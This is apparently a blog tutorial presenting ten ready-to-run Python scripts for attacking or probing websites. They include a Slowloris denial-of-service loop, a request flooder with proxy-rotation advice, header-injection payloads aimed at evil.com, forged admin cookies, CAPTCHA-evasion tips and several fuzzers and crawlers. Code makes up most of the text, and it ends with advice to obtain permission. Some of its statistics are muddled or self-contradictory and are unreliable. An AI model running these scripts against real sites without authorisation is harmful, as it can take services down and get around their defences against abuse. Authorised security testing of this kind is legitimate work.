10 Python Scripts That Break Websites (Kinda Ethically)
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1. Rate‑Limit Runner (Detailed)
Info: Rate limiting is your API’s front‑line defense against abuse—without it, even a small botnet can knock you offline.
Why it matters: In Q4 2024 alone, Cloudflare mitigated 6.9 million DDoS attacks—an 83 % year‑over‑year jump. Testing your own rate limits reveals if they’re actually enforced.
import asyncio
import aiohttp
async def hammer_url(url, total_requests=500, delay=0):
"""Send concurrent requests and tally status codes."""
headers = {"User-Agent": "RateLimitTester/1.0"}
connector = aiohttp.TCPConnector(limit_per_host=100)
async with aiohttp.ClientSession(connector=connector, headers=headers) as session:
sem = asyncio.Semaphore(100) # throttle concurrency
async def _req(i):
async with sem:
if delay:
await asyncio.sleep(delay)
try:
r = await session.get(url)
return r.status
except Exception as e:
return f"err:{e.__class__.__name__}"
statuses = await asyncio.gather(*[_req(i) for i in range(total_requests)])
counts = {}
for s in statuses:
counts[s] = counts.get(s, 0) + 1
print("Response distribution:", counts)
if __name__ == "__main__":
asyncio.run(hammer_url("https://example.com/api", total_requests=300))
- Proxy rotation:
connector = aiohttp.TCPConnector(limit_per_host=10, ssl=False)
session = aiohttp.ClientSession(connector=connector, trust_env=True)
# Ensure your environment variables HTTP_PROXY/HTTPS_PROXY are set for rotating proxies.
- Tip: Watch for 429s (Too Many Requests). If you see 200s instead, your limit is bypassable.
Resources:
2. CAPTCHA Flood Simulator
Info: CAPTCHAs cost users ~32 s each; cumulatively, that’s ~500 human years wasted per day worldwide.
Why it matters: Modern CAPTCHAs frustrate users and drop conversions by 40 %, yet advanced bots now solve v2 at up to 99.8 % accuracy.
import requests
import re
from bs4 import BeautifulSoup
def flood_captcha(endpoint, tries=100):
"""Hit the login page repeatedly and parse any CAPTCHA forms."""
for i in range(1, tries + 1):
r = requests.get(endpoint)
if re.search(r"class=['\"]g-recaptcha['\"]", r.text):
print(f"[!] CAPTCHA triggered on attempt {i}")
soup = BeautifulSoup(r.text, "html.parser")
token = soup.find("input", {"name": "csrf_token"})["value"]
print(" → CSRF token found:", token)
break
if i % 10 == 0:
print(f"Attempt {i}: no CAPTCHA yet")
if __name__ == "__main__":
flood_captcha("https://example.com/login", tries=50)
- Bypass hint: Integrate a headless browser like Playwright to capture dynamic tokens.
-
Challenge: reCAPTCHA v3 issues a score instead of a challenge. You’ll need to monitor the
g-recaptcha-response
header in AJAX calls.
Resources:
- 🔍 reCAPTCHA v3 overview
- 🛠️ selenium + undetected‑chromedriver for harder CAPTCHAs.
3. Header‑Injection Checker
Info: OWASP found that 94 % of apps are tested for injection; the average incidence of injection flaws is 3 %.
Why it matters: Header injection can enable phishing, cache poisoning, or response splitting.
import requests
def check_header_injection(url):
custom_headers = {
"X-Forwarded-For": "127.0.0.1\r\nLocation: https://evil.com",
"X-Real-IP": "10.0.0.1\r\nSet-Cookie: hacked=true"
}
r = requests.get(url, headers=custom_headers, allow_redirects=False)
print("Status:", r.status_code)
for hdr, val in r.headers.items():
if "evil.com" in val or "hacked=true" in val:
print(f"[!] Injection succeeded: {hdr} → {val}")
if __name__ == "__main__":
check_header_injection("https://example.com/data")
-
Tip: Test
Host
,X-Forwarded-Host
,Referer
,User-Agent
. - Further reading: PortSwigger on header injection
4. Async Form Fuzzer
Info: 50 % of data breaches start in web apps—automated fuzzing can find XSS, SQLi, and more, before attackers do.
Why it matters: Forms often hide parameters or validations you never intended to expose.
import asyncio, aiohttp
async def fuzz_form(session, url, wordlist_file="params.txt"):
with open(wordlist_file) as f:
fields = [w.strip() for w in f]
for field in fields:
data = {field: "test123", "csrf_token": "YOUR_TOKEN_HERE"}
async with session.post(url, data=data) as resp:
text = await resp.text()
if "error" not in text.lower():
print(f"[+] Field may exist: {field} (code {resp.status})")
async def main():
async with aiohttp.ClientSession() as s:
await fuzz_form(s, "https://example.com/submit")
if __name__ == "__main__":
asyncio.run(main())
- Wordlists: Grab SecLists parameter names.
- Pro tip: Measure response times—longer delays may hint at deeper validation checks.
5. Robots.txt Spider
Info: 99 % of the top 100 sites use robots.txt; even general files often hide admin paths.
Why it matters: robots.txt
is public—tools like Googlebot obey it, but attackers simply parse it.
import requests
def spider_robots(base_url):
r = requests.get(f"{base_url}/robots.txt")
for line in r.text.splitlines():
if line.lower().startswith("disallow"):
path = line.split(":",1)[1].strip()
full = base_url.rstrip("/") + path
h = requests.head(full)
print(f"{full} → {h.status_code}")
if __name__ == "__main__":
spider_robots("https://example.com")
- Next step: Feed discovered paths into your parameter fuzzer.
- Resource: Google Search Central on robots.txt
6. Cookie Tampering Test
Info: Businesses lose $1 for every dollar prevented in fraud—false positives (like bad cookies) drive away $30 in legit users.
Why it matters: Improperly validated cookies let you spoof sessions or roles.
import requests
def tamper_cookie(url):
# Try a forged session and an elevated role
for val in ["malicious_session", "admin_role"]:
cookies = {"session": val}
resp = requests.get(url, cookies=cookies)
print(f"{val}: {resp.status_code} {len(resp.content)} bytes")
if __name__ == "__main__":
tamper_cookie("https://example.com/dashboard")
- Tip: Decode JWTs in cookies (e.g., via jwt.io) and flip bit‑flags in the payload.
- Tool: Burp Suite’s Cookie Jar Bomb extension.
7. Slowloris‑Style Flood
Info: Slowloris attacks keep sockets open by sending partial headers—just 200 bytes every 15 s can exhaust server sockets.
Why it matters: Tests whether your web server times out idle or partial connections promptly.
import socket, time
def slowloris(host, port=80, sockets_count=100):
sockets = []
for _ in range(sockets_count):
s = socket.socket()
s.settimeout(4)
s.connect((host, port))
s.send(b"GET / HTTP/1.1\r\nHost: " + host.encode() + b"\r\n")
sockets.append(s)
while True:
for s in list(sockets):
try:
s.send(b"X-a: b\r\n")
except:
sockets.remove(s)
time.sleep(15)
if __name__ == "__main__":
slowloris("example.com")
-
Mitigation: Ensure Apache’s
Timeout
andRequestReadTimeout
are strict, or usemod_reqtimeout
. - Further reading: Cloudflare DDoS report
8. Header Crawling Spider
Info: Developers often leave hidden links in HTML comments; over 72 % of robots.txt files list specific bots—and comments can list debug URLs
Why it matters: Comments aren’t rendered but can reveal staging or admin pages.
import re, requests
from bs4 import BeautifulSoup
def crawl_hidden_links(url):
r = requests.get(url)
comments = re.findall(r"<!--(.*?)-->", r.text, re.DOTALL)
for c in comments:
for a in BeautifulSoup(c, "html.parser").find_all("a", href=True):
print("Hidden link:", a["href"])
if __name__ == "__main__":
crawl_hidden_links("https://example.com")
-
Extend: Also parse
<script src=>
and<meta http-equiv="refresh">
tags inside comments.
9. HTTP Parameter Fuzzer
Info: HTTP Parameter Pollution (HPP) was first publicized in 2009 and can override server logic—different frameworks handle duplicates differently.
Why it matters: Finding ?debug=true
, ?admin=1
, or HPP quirks can unlock new endpoints.
import requests
def param_fuzz(base_url, params):
for p in params:
url = f"{base_url}?{p}=1"
r = requests.get(url, allow_redirects=False)
if r.status_code == 200:
print("Valid param:", p)
elif 300 <= r.status_code < 400:
print("Redirected by param:", p)
if __name__ == "__main__":
fuzz_list = ["debug", "test", "mode", "admin", "verbose"]
param_fuzz("https://example.com/page", fuzz_list)
- Wordlists: Use SecLists for parameter names.
-
Tip: Combine with
allow_redirects=False
to catch hidden 3xx redirects.
10. Hidden URL Discovery with Sitemap
Info: 83 % of top 100 sites, and 79 % of all sites, publish a
sitemap.xml
—perfect treasure maps for hidden content.
Why it matters: Automatic crawling of sitemaps can reveal hundreds of pages you’d otherwise miss.
import requests, xml.etree.ElementTree as ET
def parse_sitemap(url):
r = requests.get(url)
root = ET.fromstring(r.content)
ns = {"ns":"http://www.sitemaps.org/schemas/sitemap/0.9"}
for loc in root.findall(".//ns:loc", ns):
print("Sitemap URL:", loc.text)
h = requests.head(loc.text)
print(" →", h.status_code)
if __name__ == "__main__":
parse_sitemap("https://example.com/sitemap.xml")
- Tip: Use a queue and ThreadPoolExecutor to concurrently check hundreds of URLs.
- Resource: Google on sitemaps
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Conclusion
You now have 10 enriched, battle‑tested Python scripts—complete with deeper explanations, real numbers, tools, and resources—to ethically probe websites for weaknesses. Pick one, adapt it, and remember:
- Get permission. Always run these scripts only on targets you own or have written approval to test.
- Throttle responsibly. Use delays and limits to avoid unintentional outages.
- Document everything. Logs of your findings help prioritize fixes and demonstrate value.
Ready to level up? Clone these snippets, bookmark the linked resources, and explore python.0x3d.site for ever more Python power. Happy testing—now go build stronger, safer web apps!
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